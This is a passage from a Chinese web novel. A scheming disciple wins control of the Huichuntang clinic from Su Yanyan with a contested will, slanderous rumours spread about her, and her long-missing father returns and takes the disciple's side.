更有好事的跑去苏家拍门,硬是把苏夫人喊了来。
苏颜妍看到苏夫人,不等她招呼苏夫人过来些,白延琅便闪身挡在她前面,阻止她靠近苏夫人。
苏夫人被许多人簇拥着拦停,有几个明显是白延琅安插的人手,拿着那封据说能证明苏父遗嘱的信,展开举在苏夫人眼前,嚷嚷着让她看是不是苏父的笔迹。
苏夫人神色张惶,想喊苏颜妍,却被几人配合打断,一个劲地追问:“哎呀夫人,咱们又不拦着你去找苏姑娘,你先看看这封信是不是苏大夫写的啊。这苏大夫失踪才几个月,你总不能这么快就把丈夫忘干净,一心袒护自己的女儿吧。白郎中好歹也是跟了苏大夫十多年,咱们可不能为了自己的私心,把丈夫苦心的传承放到一边。您看看,这信上的字,是你丈夫写的吧?”
苏夫人本就不是那种城府深的,她求助苏颜妍不成,被四周的人目光灼灼地盯着,只好按捺焦急看了看那封信。信上的字,确实和苏父的字一般无二,她抿着唇,眼里和脸上的神色却瞒不过众人。
“看您这表情,这信是您丈夫写的吧?”“夫人,你不说话,咱们可就默认了,你看看苏大夫信上说的,医馆是留给徒弟白延琅的。这话你认不认?”
有人带头催问,苏夫人受到逼迫,只好说道:“这字看着像是我夫君写的,可夫君不曾把医馆留给别人的。至少、他在家时从不曾和我说起过……”
那些人一听,哪里管苏夫人未尽的话,直接高声喊起来:“苏夫人承认信是真的了!这就是苏大夫亲手写的字,错不了!”
更有那看苏夫人着急想辩说的,直接堵她话头道:“你是个妇道人家,苏大夫决定要把家业给谁,这是传承大事,自然不会和你当做家常话说来听。想来这封信就是防着现在这种情况,他意外不在,重视的医馆也能交付到真正信任的人手中。”
白延琅更是补上最后一击,彻底堵上苏夫人“不是这样的”辩解:“师娘,不论您为了师妹做了多少违背师父嘱托的事,这些伤害我白延琅都受了。可您看看,回春堂现在是个什么光景,对不对得起师父这些年的心血。倘若师妹真的能经营好医馆,我也就认了,可是,她一直在糟蹋师父和我的心血啊。请您不要一错再错,师妹需要您狠下心肠,好好管教一番。”
“就是,回春堂多少天没人来看诊了?这样下去这医馆就废了,苏大夫要是知道,该多难受?”
“苏姑娘,苏夫人,以往咱们不知道苏大夫留下了遗嘱,托付白郎中看顾医馆。那时苏姑娘闹着要争家业,咱们也都支持。现在父命夫命俱在,你们两个妇道人家,就别再争下去了。”
“交出医馆!交出回春堂!”
“白郎中是苏大夫亲自定下的掌柜,下一任当家,白当家!”
白延琅安插的那几人口舌伶俐,东一句西一句,很快引导起众人,齐齐发声,逼苏颜妍交出医馆。他们的话诱导性极强,引得附和的人还以为这些话是自己打心底想说的呢,越喊越大声。
见到这个场面,白延琅快意地笑了出来。他冲着苏颜妍咧开嘴,一字一字小声快速地说道:“这一刻,我等了八十九天。苏颜妍你看见了吗,天降好运让你侥幸抢走医馆又怎样?背靠男人帮你撑腰又怎样?回春堂终究是属于我白延琅的,而你,永远也不会再有当家做主的机会。”
真是好强的恶意。
苏颜妍与他争斗次数最多,有一百种法子当场刺中他的痛脚。但她此刻就是要让他小人得志,来引出白延琅身后的操纵者的身影。她咽下到口的讽刺,没再做声。
白延琅见她无话可说,哈哈大笑起来:“小师妹啊小师妹,你就是个小女子,日后跟师母多学学女德女红,医馆的事就不要掺手了。日后,回春堂将由我白延琅接手经营!”
抢到医馆,围堵苏夫人的人不再阻挡她找苏颜妍,苏夫人很快过来,愁容满面道:“妍娘,现在怎么办呀?医馆就这样交出去?我总觉得这事情不对,你爹到底是在想什么,我现在就像完全不认识他一样。他既然能写信,为什么就是不回来,当面和咱们说清楚。还有那位…”她猛地闭嘴收声,显然牢牢记得袁因嘱托她少说起她的话。这会儿她又急又气,脚下如同踩着热炭,不住地踱着步。
苏颜妍不好把她真正的计划说与苏夫人听,便用苏父的事转移她的注意力:“我已经托可靠的人去找父亲了,他既然能托人将信交给苏东林和白延琅,这两人也一定能联系上父亲。母亲稳住,别忘了医馆的地契房契还在咱们手里呢。”
“是哦,幸亏都交给你了,不然存在家里还真不安全。”苏夫人心下安定了些,总算不再时时有种要被扫地出门的惶惑感。
白延琅得意过后便要去回春堂,小桃等人哪里肯让他进门?她带着一众学徒们持着棍棒扫帚,愤恨地瞪着他,半步也不让。
白延琅瞬时沉下脸,对苏颜妍呵道:“师妹,你一定要把事闹得这样僵吗?我已经对你足够宽容。赶紧让这些人滚,回春堂不需要这些没用的东西,尤其是那个农
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家女。女人,就该三从四德,呆在内宅里。”
“呵!”苏颜妍忍不住发出一声气音,她许久没听到过这种迂腐偏见的话了,林玉珠也是济世堂的独女,她平日是怎么忍受白延琅这种猪哥发言的。
“你不肯听话?”白延琅阴沉的脸上能拧出三斤水渍:“苏颜妍,难道你想和我撕破脸?”
“我以为,我们早就撕破脸了,原来还没有吗?”苏颜妍翻了个很不淑女的白眼。她与小桃等人站在一起,对白延琅说道:“自说自话把自己都骗到,真怀疑你脑子是不是有问题。回春堂是我的,我从来没有让给你的打算。医馆,不是你的,我也不会给你。白延琅,该滚的人是你!”
白延琅被她这番话气的胸膛急促起伏,手指着她打着颤儿,哆嗦着道:“好,好!这可是你自找的!我这便去官府告你不孝,不遵父命,请大人定夺。苏颜妍,官老爷裁定后,你可就不会再有现在的好日子了。我原本不想闹得这样难堪,给师父抹黑。”
他发着狠话,苏颜妍却暗暗松了口气。
她对一直沉默隐身的萧景琮使了个眼色,见对方点头比划了个“知道”的手势,她呵呵一笑,继续给白延琅插刀:“那就去见官,我苏颜妍行得正坐得端,该是我的就是我的,绝不会屈服你的。想抢走我的医馆,做梦去吧!”
一行人浩浩荡荡去到京兆府,白延琅准备充分,早有讼师,替他提交诉状举告。
白延琅这边,人证有诸位全程跟随看热闹的群众,物证有苏父亲笔手书。
苏颜妍与苏夫人再不肯承认苏父的安排,也否认不了白延琅手中提供的关键性证据。京兆府很快判定,按苏父这份手书安排的那样,回春堂归白延琅经营管理,宅院细软等交由苏夫人,并请徒弟白延琅及族侄苏东林一同帮忙打理。
苏颜妍拧了自己一把,皱着眉苦着脸泪汪汪地喊着:“父亲不会这样安排的,大人,请给小女子做主啊!我与母亲不能没有医馆,这是我们苏家的医馆啊!”
京兆府府尹额角抽了抽,似是牙疼一般,从嘴里挤出一句反问:“哦?这位姑娘,原告手中持有的信件,是你父亲亲笔。你父亲安排好自己的家产,你现在不同意本官的这种判法,是想反抗父命,反抗本官的决定吗?”
“大人,父亲以前是被白延琅这个小人蒙蔽了啊!他相信白延琅能照顾好我和母亲,才如此安排。可是白延琅哪里孝顺过我娘,友爱与我?父亲甫一失踪,他就露出真面目,公然无视我们母女,与济世堂勾结。他就是个小人,不能把医馆给他啊!”苏颜妍捶地,一个用力过猛,手腹疼得她泪汪汪,倒像是被气哭一般。
京兆府府尹的官椅上如同放了钉子,也开始坐不安稳起来。他清清嗓,惊堂木往桌子上一拍,呵道:“放肆!你敢质疑本官的判决!念在你是初犯,且饶你一次。本案证据确凿,判决已下,绝不更改!尔等速速退下罢。”
“大人英明!”白延琅大喜,他得了官府做主,终于按死回春堂的归属,神气地示意随身的人驾车离开。
等苏颜妍扶着哭红眼的苏夫人回到医馆,回春堂一片乱糟糟,白延琅已经带着人全面接手医馆,把小桃并一众学徒赶出门了。
71. 清醒一下
“这是我们的东西,你敢动它!”
“京兆府都将医馆判归于我了,我自然敢动。倒是你,你敢再去闹吗?看看青天大老爷理不理你,是不是会改改判决啊?”
“小桃,你带着学徒们先找地方安置,这里我来处理。”苏颜妍赶忙把小桃喊过来,免得这个正义的姑娘一时冲动,节外生枝。
小桃红着眼,恨恨地跺了跺脚,听话地带着人离开。
白延琅见状,更加张狂,仰着头哼笑几声,快意地看着这间药馆。他指挥着随从要去把看不顺眼的东西清理掉,却听着苏颜妍说道:“大人说的医馆按我爹的吩咐来处置,你眼前这些东西可是我的。今日你让人弄坏一件半件,我必定让你赔个三倍五倍。白延琅,光脚的不怕穿鞋的,我的性格和手段,想必你也摸清楚了,劝你别在这点小事上惹我。”
他轻蔑看过去,不屑地道:“叫你一声师妹,你还拿起乔来。我便是惹你了,你又能拿我怎么样?失去了医馆,你就算有满身本事,有谁敢用你,有谁去找你?你以为自己耍点小聪明,卖弄些小常识能收拢人心吗?我告诉你,你给他们利益时,他们会说你千百句好话;但只要你不能再给他们继续提供方便,之前付出的一切都是浮云,没有人会记在心上。小师妹,你拿着师父留下的家业肆意挥霍,又是宣传又是推广,全是虚假的泡沫。师父不让你继续经营是对的,你这样做,只会引来千万只贪婪恶鬼,如跗骨之俎,拖着回春堂走向衰败。”
苏颜妍道:“枉你还是位大夫,你学医初心是为了什么?连一点身为医者的仁心都没有么?治病救人,不就是消灭病变,帮助患者?你执着于抢走回春堂,不为了医者的梦想,又是为了什么?”
白延琅嗤笑道:“女人,就是太过天真。我自然是为了利益,你可知济世堂早就布局多年,联合起京中众医馆同进同出,控药价,默契用同一套话术让患者按着他们的规矩做。你和你爹真的很像,死活不肯参与到这个集体行动里去。回春堂在一日,济世堂的垄断联合医馆就搞不起来。师妹,你该好好想想,不是你有本事,就能万事依从你的心意。趁着我现在心情好,收拾你的东西赶紧离开。只限今日,也算是我全了咱们之间一段孽缘了。”
回春堂很快安静下来,出乎意料,这次白延琅竟很痛快地离开了。萧景琮不爽地问道:“现在不让我动他,咱们还真要为了做戏,把医馆让给他不成?我常呆的客间,里面随便找出个摆件都是价值连城的,搬空我置办的东西,和拆了回春堂有什么区别。”
苏颜妍一下子笑出声,萧景琮真的每次都能很轻易把她逗笑:“现在肯承认那些是宝贝了?你拿到医馆来的时候,我问过你多少次,给你说不要放价值太高的东西。你当时是怎么回我的?‘都是日常用品罢了’呢。”
“是我日常用的啊。”萧景琮理直气壮,半点不心虚:“朕是皇帝,皇帝用这些也算够用,那姓白的没那个福气,沾上就是个死。”
这家伙,苏颜妍嗔他一眼:“放心,他没福气用得上,袁因姐姐应该已经配合我安排好一切。那些宝贝,会好好等着尊贵的皇帝陛下亲临的。”
萧景琮抓过她的手,贴在唇边,蜻蜓点水般亲了一下。
白延琅成了回春堂新的当家人,一朝心愿达成,志得意满。复康堂的陈掌柜等敌视苏颜妍的人,同样欢欣鼓舞,弹冠相庆。
美酒佳肴,丝竹笙箫,一场盛宴设在济世堂林府,庆祝林有仁此番终于能统一管控京城医馆药价,定制行规,同进同退。
白延琅作为踏碎绊脚石的功臣,稳坐主家左手边第一把交椅,自有娇童美婢斟酒布菜,随身服侍。
“白兄可算是帮我等去了一块心腹大患,那苏家的丫头,就该灰溜溜滚出医疗界。真当咱们爷们是在玩过家家游戏,行些妇人之仁的事,乱我行规行情。现下只要一想起她的下场,我能多喝几杯黄汤。”
“来,一起敬白小兄弟一杯,日后有用得上咱们的,尽管开口。哥几个准给你做好。”
白延琅被哄得脸热心热,澎湃不已:“哪里哪里,各位掌柜过奖了。如今,咱们都是一条船上的人,自当守望相助,互为犄角。”
“白兄弟就是太实在,要我说,你现在春风得意,正是该重新做决定。大伙儿都知道你对你师父一家是仁至义尽,现在既已经按他心愿接受回春堂,让他倾注心血的医馆回到正途。那定亲一事,你可要清醒点,别为了报恩搭上自己一生。”
“对对对,苏家那丫头,委实不是贤妻,配不上白兄弟。她整日抛头露面的,看她对张神医那牙尖嘴利的样就知道,是个泼辣货。真娶了她,可是要毁三代的哟。”
白延琅仰头闷下一口酒,脸上染上赤色,他用力将酒杯拍在桌上,“咔嗒”一声,酒杯四分五裂。
喧哗人声如同按下静音键,场面一时凝滞。众人都看着拍案而起的白延琅,一时也分不清他是为苏南星的名声被损毁而愤怒,还是对苏颜妍确有情谊。
众人面面相觑时,宴会主位上的林有仁呵呵一笑,起来打圆场:“来来来,大家继续喝,延琅是性情中人,我最是欣赏他这点。想咱们济世救人,怀的就是一颗仁心。重旧情,重恩义,是我辈中人,是君子。”
他是此间主人,此刻说的话,妥帖、舒服,众人顿时高兴起来,重新推杯问盏。林有仁示意仆从给白延琅重新倒满一杯酒,笑呵呵地对他道:“老夫着实欣赏你这样的才俊,延琅,上次老夫说的话,依然不改。我家小女玉珠,你是知道的,相貌虽不似苏家女,人品性情却是不差。老夫属意你,你可愿意娶她?”
白延琅似是不胜酒力,迟疑地看着林有仁,有些愣愣的,没有出声。立刻便有人和声帮腔道:“这是好事啊,林兄的女儿,与白兄弟正是门当户对,珠联璧合的一对佳偶。林兄也只此一女,日后你成了他的佳婿,济世堂也后继有人呀。”
“主要是林小姐对白兄弟一往情深,我
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记得苏家那丫头刚出来与白兄弟争医馆时,林小姐就陪着白兄弟一起应对的。如此贤惠,白兄弟可不要辜负她啊。”
恰一阵凉风吹过,白延琅一个激灵,酒醒了一大半,冷汗顺着后颈浸湿衬衣。他端着重新斟满的酒杯,恭敬地对林有仁道:“在下真是不胜荣幸,得您青眼。我对林小姐,亦是倾心,只是之前怕自己无法给她提供稳定优渥的条件,故而不敢应承。我对师父感恩忠义,可从未对师妹动过私心。一直以来,我都把她当成自己的亲妹子一般。不成想,师父失踪后,她竟一下子变得市侩贪婪。我曾试图救她,到现在总算是认清她的真面目,彻底死心。”
“林小姐在我眼中,自是千好万好,远胜师妹多矣。小子愿娶她当妻子,从此琴瑟和鸣,恩爱不离。”
“好好好!”林有仁抚掌大笑,痛快地干杯,当场允诺这门亲事。
与此同时,白延琅那句“林玉珠远胜苏颜妍”的话,延伸出更多更离谱的版本,传了出去。
苏颜妍一下子成了林玉珠刷名声的垫脚石。
林玉珠的容貌平平,但人家林小姐人品高洁无瑕,蕙质兰心,贤惠持家。同样对待未婚夫,林小姐对人家百依百顺、谦恭守礼,甩苏颜妍八百条街。
苏颜妍也就一张脸好看,可惜品行不端。上不尊父命,不敬师兄,不孝不义。下不修闺阁礼仪,不安于室,抛头露面,争强好胜。不堪为妇这四个字,简直就是她行走世间的代名词。
传到后来,不堪的名声更是多了条“招蜂引蝶、私相授受”。萧景琮梦寐以求的二人对外感情大公开:终于终于有人挖出她们俩出双入对交往过密的旧事。
“我在朱雀大街上遇见过那位苏神医,她当时就与一位男子十指紧扣呢。”
“噫,竟然真的这样不顾名声凑在一起。我哥的岳母的姐姐家外甥在京郊见过他们哩,两个人往情人谷那边去了哩。”
“真想不到,苏神医看牙有本事,勾搭男人的手腕也不差。她真的一点都不在乎自己的名声吗?为什么和外男一起,都不注意保持距离呢?”
“嘿,一听你就不知道,和一个男人在外面算什么,她在医馆给人治病,也是不管是不是男人,都直接上手接触呢。你想想,大家闺秀敢主动摸别的男人的脸么?她给患者拔牙,会离得更近距离哩。回春堂那什么牙诊室有张榻,躺在上面视线正好盯着她的胸膛呢。”
“真的?”“这还有假?你当她身边跟着的那个男子是怎么来的,就是她与白郎中抢医馆时,给那男人拔牙招来的。自苏大夫给那男人拔完牙,就把那男人迷住啦,到现在都还没能逃出她的手掌心呢。”
“真是可怕如斯!”议论纷纷的人们互相感叹着,唏嘘地摇了摇头。
被议论纷纷的苏颜妍正看着萧景琮耍宝:“喂!你这家伙到底在得意什么呀!搞搞清楚他们脑补的都是些什么废料,咱们哪里有他们说的那样亲密无间。你清醒一下啊,男朋友!”
72. “母”与“父”
桃色流言是世界上传播最快的一种,没有之一。
苏颜妍自接手回春堂后,风评一直毁誉参半。毁她的人恨她分薄了自己的利益,无形折损他们的威风;誉她的人爱她带来了新的希望,找到前进的动力。
不管是哪种,苏颜妍从来只做苏颜妍,不会为任何声音徘徊停驻。
直到这次,铺天盖地的流言蜚语,四面八方涌动传播。所有的人都被裹挟在这场失控的狂欢中,从自己的嘴里添油加醋,描述一位涂改的面目全非的话本人物。
仿佛他们是隐身窥视着苏颜妍一举一动的背后灵,飞舞在腐物旁的蚊蝇。真实消隐,成为这场传闻中最不重要的部分,只余口口相传时听者悚然而惊的称奇、话题中心里的见证者。
苏夫人受到谣言影响,气怒攻心,一病不起。
她原本想着出门帮苏颜妍澄清亲事传言的,不知怎的就成了证实白延琅手中书信是丈夫亲笔的证人。不仅没帮到苏颜妍,还让她的名声变得更糟糕。
连日里,丈夫失踪又传来书信的奇怪行为,苏颜妍前后迥异的性格行事表现,初见袁因谈起旧事的惶惑震惊,帮忙不成反添乱的愧疚难过……她心理防线垮的厉害,身体一下子受不了打击,吃药都救不好。
苏府的仆妇见她日日垂泪,劝也劝不住,只好禀给苏颜妍,请她来宽慰一二。
心病还需心药医,苏颜妍知道,谁才是苏夫人的那味药——袁因。
她与苏夫人已经有了心结,出现在她面前,不仅不会纾解她心中积压的情绪,还会让她更加紧张难受。只有袁因,是苏夫人心中满怀期冀的希望,也是能安心说出心里话的唯一人选。
“去请袁因来一趟苏府吧。”
她揉了揉眼眶,轻轻叹了口气。
萧景琮不解:“真是搞不懂,她明明知道事情不是真的,还能愁到病重。要说真心信任爱护你,感觉她对袁因比对你都要亲近。”
他很不高兴,因为想起他母后病重那段时间,也是如此。
他想陪在她身边,她冷漠拒绝,让身边的人关上宫门,不许他靠近长乐殿。却又对义兄特别亲近,殷殷嘱托义兄日后多帮扶他。
他到现在也搞不懂母后到底是不是关心他,若是亲近,为什么总拒绝他靠近;若是厌恶,又为什么总拜托义兄照顾他?
苏颜妍叹息:“听说有种因果论,家里有人重病不起,这个病人往往一改常态,和善慈爱的,就变得特别尖锐难缠。他反复折磨往日亲近的人,消耗掉他们之间的爱与情感链接。这样等他去世,留在世上的那个亲近的人,便不会被困在这段关系中,不得脱离。这叫斩因果,遇上不要耿耿于怀,那是真正爱你的人才会做这样的事。”
萧景琮身体僵硬。
苏颜妍替他正了正衣冠,继续道:“你想想,如果你是苏夫人,现在身体欠佳,悲观到以为自己时日无多。你唯一的女儿现在群狼环伺,危机四伏。你会不会担心自己离去后,失去唯一依靠的女儿受不了打击,找不到活下去的目标和动力?她会不会一直沉溺在失亲的悲痛中,日日夜夜摆脱不了伤心,直到精神崩溃?”
“袁因姐姐不同,她和苏夫人或许因为血脉投缘,但感情没有结下深厚的羁绊。她若去世,袁因姐姐或许会大哭一场,可绝不会因为她的离开活不下去。她反而要多想想,要如何拜托袁因姐,让她多照顾我,安慰我,陪伴我走出失亲的阴霾。”
苏夫人也确实在落泪,拉着袁因的手,泪珠一滴一滴落到她的手背上。
她病重气虚,勉强扶着床栏坐起,那些闷在心中无人可以诉说的话,一一句成了压垮她的毒:“好姑娘,我到现在也不敢叫一声你的名儿。当年的事,我也不知能不能有那个命撑到真相大白的时候。我对不起你,也对不起妍娘。我从来不是一个合格的娘亲,这些年,不仅没有给妍娘添点助力,光给她拖后腿。我这辈子,浑浑噩噩,活成一只糊涂虫。为妻时,看不透枕边人,像个傻子一般,被哄着过了二十多年,还自以为伉俪情深。为母时,既分不清哪个才是自己的亲子,身边的孩子反倒是要照顾我这个没用的娘亲。”
她闭紧眼,不肯让泪流出来,咳嗽几声,硬是没让袁因看到她哭的样子:“我忖度着,我这身体,大抵是不中用了。我若去了,妍娘、好孩子,便只留她一个孤零零地生活了。你与她缘分深结,现在这样要好,我舔着脸多拜托你,请日后也多照顾她。”
袁因原本是很开朗爱笑的性格,这次她陪着苏夫人,很是温柔地点头。她没有笑,眼神是郑重的,清明如水。她了解苏夫人的心,一如了解自己的心。“放心吧,我会是颜妍最好的姐妹,会陪着她,照顾她,不让危险靠近她。她会幸福的,余生会有真心相爱的人陪伴,会有很多人爱她、帮她,平安顺遂。”
她用手把苏夫人鬓边的一缕散落的发顺到耳后,待苏夫人剧烈起伏的胸膛平稳呼吸,才慢慢将最新收集到的消息说与她听:“大夫帮你诊治过,你身体还好,觉得不适是因为心中郁郁。别想太多,你的夫君人在安南,我这边已经收到消息,确定他和安南王府的旧势力合谋,正在酝酿一场阴谋。至于是酝酿什么,现在还没有定数。他人还活着,你想知道的,只要抓到他,就有获取真相的一天。夫人,白延琅引出的这些针对颜妍的祸事,背后也有他的影子。给你说这些,是想告诉你,颜妍现在还需要你。倘若你不肯为她撑下去,当苏南星回来京城,他是颜妍长辈,不论是婚嫁或者是其他的安排,颜妍对上他很难对抗。真要反抗,众口铄金,引出的名声风波比现在传言的还要严重。”
苏夫人的状态,忽的肉眼可见的精神了起来。她经过袁因的提醒,突然发现,苏南星若是当年确实亲自换走自己的孩儿,抱养妍娘,那他回归后,必定不会将妍娘的命运当成一回事。
名义上,他是妍娘的父亲。世道对女子多么严苛,妍娘尚未婚嫁,在家从父,不服管教,父亲打死自己的女儿都不算什么大事。“不孝”的名声挂在头顶,比其他任何指控都可怕。
她不能死,至少不能在苏南星之前放弃自己。她是他明媒正娶的妻
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子,对外有着二十多年夫妻和谐的好名声。有她这个当娘的顶在前面,妍娘才不至于太被动。
苏夫人重重点头,道:“好孩子,你说得对,我现在且不能死呢。我一定要看到苏南星,他被抓也好,潜伏进来也好,我见到他,一定抓着他查问当年的真相。我要知道,当年他所谓的接生,是不是亲手把自己的骨血,送到别人手中。当年那位与我同样身怀六甲的荧惑少主,她生下的孩儿又在哪里。他欠我一个解释,我一定要撑到捉到他为止。”
“会有那么一天的。”袁因快速扫视她一眼,看她重新燃起生机与欲望,悄悄呼出一口气。果然,用苏南星的消息就能钓出苏夫人的求生欲,她这几天的忙碌也算是值了。
苏夫人的情况稳定下来,苏颜妍和袁因都放下心,分头继续忙着铺网放饵,布局下一步棋。
苏颜妍以及苏夫人的不回应,让苏颜妍的名声落到谷底。
就连原本暗中支持她的那些人,也渐渐失望,不再表现出对她的维护。这些人好多都是曾经受到她当家做主鼓励,从封建压迫下争出一条生路的女子。她们拥护苏颜妍,是从她身上看到女子独立自主的希望。
而围绕苏颜妍的泼天流言,桩桩件件苏颜妍与外男私相授受的事,打破了她们追求的女子独立。原本她们还心怀期盼,盼望着苏颜妍再次像之前那样,用自己的实力,洗刷流言,夺回医馆。可是,这丝希望之火太渺小了,外面的妖风又那样猛烈,吹得那火只余星星点点,几欲熄灭。
最后的一根稻草,则是苏颜妍再也没有继承管理回春堂的可能:失踪多日的苏家当家人苏南星,终于回京了!
回春堂这阵子,可是京中众人茶余饭后最关注的焦点。白延琅手持婚约与所谓的师父遗嘱,与苏颜妍对簿公堂,抢到赢得到回春馆,更是把事情引到了高//潮。
现在医馆他也得到了,苏颜妍的名声也坏了,这个当口,苏家真正的当家人居然活着回来了?!
苏南星活着,那所谓的“遗书”就算是一纸空文,根本做不得数。
可得到医馆后,白延琅已经与济世堂合伙,现在已经快要成为林友仁的女婿,事情变得大条了。
想必苏南星写下遗书的时候,是想要让自己的徒弟照顾好自己的妻女,顺便继承医馆发扬光大的。可是现在他的徒弟凭借他的遗书,从他独女手上抢走了医馆,并把他的妻女扫地出门,自己带着医馆与京城另一家更大的医馆合谋。
他知道这个消息以后,会不会后悔曾经选择了这个徒弟当接班人?白延琅还能继续用回春堂当家人的身份娶林友仁的女儿吗?
京城众人虎视眈眈,都摩拳擦掌等着吃第一口新鲜的瓜。
甚至还有赌坊下场,设置高额的竞猜赌注,让大家猜测回春堂最终会落入谁的手中。
苏南星会自己回来管理吗?还是会传给自己的女儿?亦或是他曾经信任过的徒弟?
与众人所想的不同,第一个跳出来与白延琅争抢告状的不是苏颜妍,而是苏南星的族侄苏东林。
73. 苏夫人的怒火
苏东林说:“三叔,我把你的书信带给三婶了,可是她似乎并没有相信,也不允许我安排娘和妹妹住进苏府。学舍学业紧张,我不能够时时关注族妹。今日放假,我听闻一些流言蜚语,多番查问,知道是白延琅所为。”
他面上有愧疚之色,躬身行礼道:“就这样一疏忽,突然间发现关于族妹的流言满天。是我对不住三叔,不仅没看住医馆,还让小人中伤了族妹的名声。”
这时,听到消息的白延琅正好赶来,他顾不得与苏南星客套,连忙出声反驳苏东林:“这位兄台,总不能医馆没在你手下,你就污蔑我害小师妹吧。从收到书信到现在,我可是一直在维护小师妹的名声。小师妹抗拒师父指定的婚约,我也依从她的心意,不曾强迫。如今到了你口中,怎么就成了我是给小师妹泼脏水的始作俑者?”
他这会儿走到了苏南星面前,抚平翘起的衣角,恢复平常稳重谦恭的样子:“师父,您老可算是回来了。徒儿不肖,没能在您失踪的这段时间守护好医馆,守护好师妹。”
苏东林在一旁补刀:“何止是没有守护好,拿着医馆去投靠济世堂了,如果三叔不回来,现在回春堂都已经改姓林了吧。”
白延琅反唇相讥道:“东林兄,你现在站在这里大义凛然的控诉我,难道你却不知晓,京中那些关于小师妹的流言都是出自你娘和你妹的口中?你打的一手好算盘!泼脏水败坏小师妹的名声,反手扣到我的头上。左右你是唯一的好人,坐等收渔翁之利对吧?”
苏东林咬牙切齿道:“女子的名声何其紧要!白延琅,你败坏族妹的名声还不够,现在又扯出我娘和妹妹,心思忒恶毒。是非对错,族叔自有判断,我绝不会让你蒙蔽族叔的视听,蒙混过关。”
围着他们看热闹的人越来越多,大家听着苏东林和白延琅互相揭短,彼此攻击,大呼过瘾。
原来苏颜妍的坏话,不只是白延琅那边在传,里面还有苏家本家分支的在搅浑水啊?多少带着点恩怨了啊。
“苏大夫家似乎也挺乱啊,怎么又出来一家族亲来告状?”
“苏大夫刚回京,这两人忙不迭凑上来,没有一个说先让师父/族叔看看身体、休息洗漱一下的。我觉得都不怎么样啊。”
众人互相招呼,说着自己的判断,对苏颜妍都带着点说不清的同情。
其实苏颜妍继承医馆后,每一件事搞的新奇高调,可对他们老百姓,实实在在是得了好处的。白延琅的事一出,没人去和那些说坏话的争论,心中是保留对苏颜妍的好感和认同的。现在苏南星一回京,他们便开始惋惜。
有哪个父亲能忍受自己的女儿一身污名?要知道,苏南星在京时,可从不曾有人知道苏颜妍身上有那么多神奇的巧思和高超的治牙手段。菩萨教授的本事,也要在没有压制的情况下才能出面为众人解疾苦呢。
他们都默认,苏南星或许会因为白延琅的表现收回医馆,交给其他人管理,可是,这个人绝对不会是苏颜妍。
果然,苏南星的话证实了这点:
“东林,休要再说。我在回京的路上,已经将这些天发生事尽数打听清楚。咱们虽然都是苏姓之人,同村却不同源,早已不属于一宗。‘族叔’二字,便不要喊了。你入京多时,亲眷间与拙荆少有往来,想来她们之间实不投缘。延琅是我的徒弟,多次助我,这次能全须全尾回京,更是他暗中出力保护。如果你对他有不满,那就是对我有不满。咱们两家便无须再来往了,你回去吧。”
苏南星竟是公开支持自己的徒弟白延琅,并毫不在意地说出与苏东林家没有深交的事。
苏东林一时哽住,口中的话再也说不出,强撑着苦笑一声,见苏南星身边带着白延琅已经大步向苏家而去,连一个多余的目光都欠奉。他失魂落魄,站在人群中,再没有跟上去的勇气。
孟氏和苏小香呼和着扑过来,抓着他一口一句“我的儿”“哥哥”的喊着,将他喊回神来。
苏东林赤红着眼,顾不得此刻是在外人视线下,对着二人厉声喝问:“京中关于苏家族妹的流言,你们二人是不是有跟着胡说?我去学舍考核前,叮嘱你们务必帮族妹澄清,你们不听我的话,又做了什么?”
孟氏与苏小香哑口无言,眼神闪烁,心虚地低下头。
苏东林见状,哪里还能不明白,白延琅说的,竟是真的。这两个愚蠢的妇人,当真亲自去下场给苏颜妍泼脏水。他闭了闭眼,心灰意冷,转身就走。
孟氏与苏小香哪里见过他这样冷心冷情的样子,哀哀切切哭嚎着跟上去。留下看了这场热闹的人眉眼乱飞,打了不少眉眼官司。
另一边,苏南星一路温言谢绝京中诸多熟人邻居的寒暄邀请,径直进了苏家的大门。好事的人跟不进去,也不愿离开,便远远围在苏家门外,竖着耳朵听,试图捕捉苏宅内的声音。
幸而苏宅是独门独院,倘若他家左右有邻居,此刻墙上大约长满了脑袋。
苏夫人今日精神尚可,自袁因上次开解后,她便重新有了振作起来的动力。她要等着丈夫回来,问他要一个真相!在得到当年的真相之前,她要好好活着。
意外总是突如其来,门房处传来一阵喧哗声,苏夫人听声音觉得耳熟,不等她询问,一群人便携着雷霆怒火直冲她而来。
苏夫人定睛一看,瞬间愣住:“夫君?”
来人正是苏南星。
一别多日,苏南星变了些许,原本和蔼可亲的脸上全是厉色,眼中再不是平日里的柔软包容,变得一片冰冷。只一眼,苏夫人的心便沉到了冰湖中。
苏南星甩袖喝问:“夫人!素日里我对你甚是包容,也不指望你如别人一般尽善尽美。可至少,你作为一个母亲,得管教好自己的孩子!看看这些时日你都做了些什么?妍娘自小,我可曾教过她什么医术?她一任性,你便同意她去打理医馆?回春堂是治病救人的地方,放任她胡乱施为,简直胡闹!”
苏夫人从未见他这样疾言厉色过,一时定在原地不得动弹。
苏南星再喝:“放任妍娘任性妄为,此
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为一过。妍娘与延琅针锋相对,你身为长辈,为何不居中调和,公然偏袒自家孩儿?妍娘有几分本事,你这个当母亲的,难道半点都不自知吗?听听现下京中传的话有多么难听,妍娘名声都毁了,日后如何嫁人?我且问你,你是不是真的放任她出去和外男接触了?同进同出,过从甚密,哪家好女子会传出这种名声?”
白延琅在他身边小声劝,嘴角的微笑却怎么也压不下去:“师父,也不能全怪师娘。小师妹初时与那位男子在医馆见面,亲迎对方到榻上,贴身查治,师娘也不知道师妹给人治牙疾的过程要肌肤相贴,耳鬓厮磨啊。”
这话说的诛心,他哪里是为苏颜妍开脱,分明是一句句把她的名声钉在耻辱柱上,任人唾骂。
苏夫人心中燃起怒火,烧尽了惊愕之下的僵直无措:“你住嘴!真正卑劣的那个人,难道不是你吗?夫君失踪,最先放弃寻找、还拦着我们其他人的那一个,是你!若非你一下子展露自己冷血无情、唯利是图,我和妍娘又怎么会亲自与你争夺医馆的?你这幅人前人后双面作风真是令人作呕,你怎么能这样说妍娘,白延琅,你真是一个白眼狼啊!”
“大夫救治病人,望闻问切你把这算作是肌肤相亲?你真是无耻之尤!”
苏夫人畅快说完,看向苏南星,她这位又熟悉又陌生的夫君。她恍惚幻视两人之前温情脉脉的种种,几欲落泪。复又想起苏颜妍和袁因,清醒过来,细细打量眼前人:“夫君,你甫一回来,是不是要先洗漱一番,换身衣服。我也有不少疑问,日日夜夜不得眠,盼着见到你,请你为我解惑。这事比你口中的指责重要的多,我想,你也该给我和妍娘一个解释。”
